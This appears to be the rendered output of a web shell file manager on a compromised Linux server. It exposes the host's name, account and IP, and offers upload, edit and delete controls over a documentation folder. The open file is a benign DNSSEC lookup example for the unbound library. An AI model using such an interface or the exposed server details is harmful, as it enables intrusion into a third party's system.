[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
doc
/
python3-unbound
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 async-lookup.py
2,212 B
SET
[ EDIT ]
|
[ DEL ]
📄 avahi-resolver.py
18,055 B
SET
[ EDIT ]
|
[ DEL ]
📄 calc.py
3,350 B
SET
[ EDIT ]
|
[ DEL ]
📄 dict.py
4,231 B
SET
[ EDIT ]
|
[ DEL ]
📄 dict_data.txt
163 B
SET
[ EDIT ]
|
[ DEL ]
📄 dns-lookup.py
1,871 B
SET
[ EDIT ]
|
[ DEL ]
📄 dnssec-valid.py
2,129 B
SET
[ EDIT ]
|
[ DEL ]
📄 dnssec_test.py
1,392 B
SET
[ EDIT ]
|
[ DEL ]
📄 edns.py
8,848 B
SET
[ EDIT ]
|
[ DEL ]
📄 example8-1.py
2,457 B
SET
[ EDIT ]
|
[ DEL ]
📄 idn-lookup.py
2,661 B
SET
[ EDIT ]
|
[ DEL ]
📄 inplace_callbacks.py
13,175 B
SET
[ EDIT ]
|
[ DEL ]
📄 log.py
4,345 B
SET
[ EDIT ]
|
[ DEL ]
📄 mx-lookup.py
2,165 B
SET
[ EDIT ]
|
[ DEL ]
📄 ns-lookup.py
1,916 B
SET
[ EDIT ]
|
[ DEL ]
📄 resgen.py
3,199 B
SET
[ EDIT ]
|
[ DEL ]
📄 resip.py
4,041 B
SET
[ EDIT ]
|
[ DEL ]
📄 resmod.py
3,519 B
SET
[ EDIT ]
|
[ DEL ]
📄 reverse-lookup.py
1,866 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: dnssec_test.py
#!/usr/bin/env python from __future__ import print_function from unbound import ub_ctx, RR_TYPE_A, RR_TYPE_RRSIG, RR_TYPE_NSEC, RR_TYPE_NSEC3 import ldns def dnssecParse(domain, rrType=RR_TYPE_A): print("Resolving domain", domain) s, r = resolver.resolve(domain) print("status: %s, secure: %s, rcode: %s, havedata: %s, answer_len; %s" % (s, r.secure, r.rcode_str, r.havedata, r.answer_len)) s, pkt = ldns.ldns_wire2pkt(r.packet) if s != 0: raise RuntimeError("Error parsing DNS packet") rrsigs = pkt.rr_list_by_type(RR_TYPE_RRSIG, ldns.LDNS_SECTION_ANSWER) print("RRSIGs from answer:", sorted(rrsigs)) rrsigs = pkt.rr_list_by_type(RR_TYPE_RRSIG, ldns.LDNS_SECTION_AUTHORITY) print("RRSIGs from authority:", sorted(rrsigs)) nsecs = pkt.rr_list_by_type(RR_TYPE_NSEC, ldns.LDNS_SECTION_AUTHORITY) print("NSECs:", sorted(nsecs)) nsec3s = pkt.rr_list_by_type(RR_TYPE_NSEC3, ldns.LDNS_SECTION_AUTHORITY) print("NSEC3s:", sorted(nsec3s)) print("---") resolver = ub_ctx() resolver.add_ta(". IN DS 19036 8 2 49AAC11D7B6F6446702E54A1607371607A1A41855200FD2CE1CDDE32F24E8FB5") resolver.add_ta(". IN DS 20326 8 2 E06D44B80B8F1D39A95C0B0D7C65D08458E880409BBC683457104237C7F8EC8D") dnssecParse("nic.cz") dnssecParse("nonexistent-domain-blablabla.cz") dnssecParse("nonexistent-domain-blablabla.root.cz")